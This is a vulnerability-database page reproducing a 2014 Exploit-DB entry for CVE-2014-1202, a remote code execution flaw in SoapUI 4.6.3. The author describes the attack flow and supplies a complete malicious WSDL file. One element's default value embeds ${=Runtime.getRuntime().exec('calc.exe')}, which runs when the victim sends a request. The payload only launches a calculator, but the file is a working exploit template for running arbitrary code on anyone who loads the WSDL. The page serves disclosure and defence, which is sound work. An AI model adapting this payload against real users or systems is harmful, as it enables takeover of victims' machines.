Lucene search
K

SoapUI 4.6.3 - Remote Code Execution

🗓️ 14 Jan 2014 00:00:00Reported by Barak TawilyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Remote Code Execution in SoapUI 4.6.3 via Malicious WSD

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SoapUI 4.6.3 - Remote Code Execution Vulnerability
14 Jan 201400:00
zdt
Check Point Advisories
SOAPUI Remote Code Execution - Ver2 (CVE-2014-1202)
26 Mar 201500:00
checkpoint_advisories
CVE
CVE-2014-1202
25 Jan 201401:00
cve
Cvelist
CVE-2014-1202
25 Jan 201401:00
cvelist
exploitpack
SoapUI 4.6.3 - Remote Code Execution
14 Jan 201400:00
exploitpack
Github Security Blog
Code injection via property expansion in SoapUI
17 May 202204:53
github
NVD
CVE-2014-1202
25 Jan 201401:55
nvd
OSV
GHSA-C2FP-MPMM-CQXV Code injection via property expansion in SoapUI
17 May 202204:53
osv
Packet Storm
SoapUI Remote Code Execution
14 Jan 201400:00
packetstorm
Prion
Code injection
25 Jan 201401:55
prion
Rows per page
# Exploit Title: SoapUI Remote Code Execution
# Date: 25.12.13
# Exploit Author: Barak Tawily
# Vendor Homepage:  <http://www.soapui.org/> http://www.soapui.org/
# Software Link:
<http://www.soapui.org/Downloads/download-soapui-pro-trial.html>
http://www.soapui.org/Downloads/download-soapui-pro-trial.html
# Version: vulnerable before 4.6.4
# Tested on: Windows, should work at Linux as well
# CVE : CVE-2014-1202

I have been found remote code execution vulnerability in the SoapUI product,
which allows me to execute a java code to the victim's computer via
malicious WSDL/WADL file.

This vulnerability allows attacker to execute java code to any client's
machine that will use my WSDL file and will try to send request to the
remote server.

SoapUI allows the client execute code by entering a java code inside the
following tag, the java code will be executed when the client will try to
send request to the server:

${=JAVA CODE};

Thus, an attacker can make a malicious WSDL file, determine a malicious java
code as default value in one of the requests parameters, hence, when client
uses  malicious WSDL file and will try to send a request the java code will
be executed.

The attack flow is:

1.       The attacker makes a malicious web service with fake WSDL including
the java payload that will be executed on the victim.

2.       The victim enters the soapUI program and will enter the malicious
WSDL address.

3.       The victim decides to send a request to the server, and the java
code executed on the victim's machine.

4.       The attacker succeed execute java code in the victim's machine, and
will take over it.

This vulnerability was check on the version (4.6.3), a proof of concept
video can be found at: http://www.youtube.com/watch?v=3lCLE64rsc0
 
<?xml version="1.0"?>
<definitions name="StockQuote"
             targetNamespace="http://example.com/stockquote.wsdl"
             xmlns:tns="http://example.com/stockquote.wsdl"
             xmlns:xsd1="http://example.com/stockquote.xsd"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns="http://schemas.xmlsoap.org/wsdl/">

  <types>
    <schema targetNamespace="http://example.com/stockquote.xsd"
            xmlns="http://www.w3.org/2000/10/XMLSchema">
      <element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="string">
        <complexType>
          <all>
            <element name="tickerSymbol" type="string"/>
          </all>
        </complexType>
      </element>
      <element name="TradePrice">
         <complexType>
           <all>
             <element name="price" type="float"/>
           </all>
         </complexType>
      </element>
    </schema>
  </types>

  <message name="GetLastTradePriceInput">
    <part name="body" element="xsd1:Payload"/>
  </message>

  <message name="GetLastTradePriceOutput">
    <part name="body" element="xsd1:TradePrice"/>
  </message>

  <portType name="StockQuotePortType">
    <operation name="Malicious_Request">
      <input message="tns:GetLastTradePriceInput"/>
      <output message="tns:GetLastTradePriceOutput"/>
    </operation>
  </portType>

  <binding name="Exploit" type="tns:StockQuotePortType">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Malicious_Request">
      <soap:operation soapAction="http://example.com/GetLastTradePrice"/>
      <input>
        <soap:body use="literal"/>
      </input>
      <output>
        <soap:body use="literal"/>
      </output>
    </operation>
  </binding>

  <service name="StockQuoteService">
    <documentation>My first service</documentation>
    <port name="StockQuotePort" binding="tns:StockQuoteSoapBinding">
      <soap:address location="http://example.com/stockquote"/>
    </port>
  </service>

</definitions>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 29.3
EPSS0.17347
31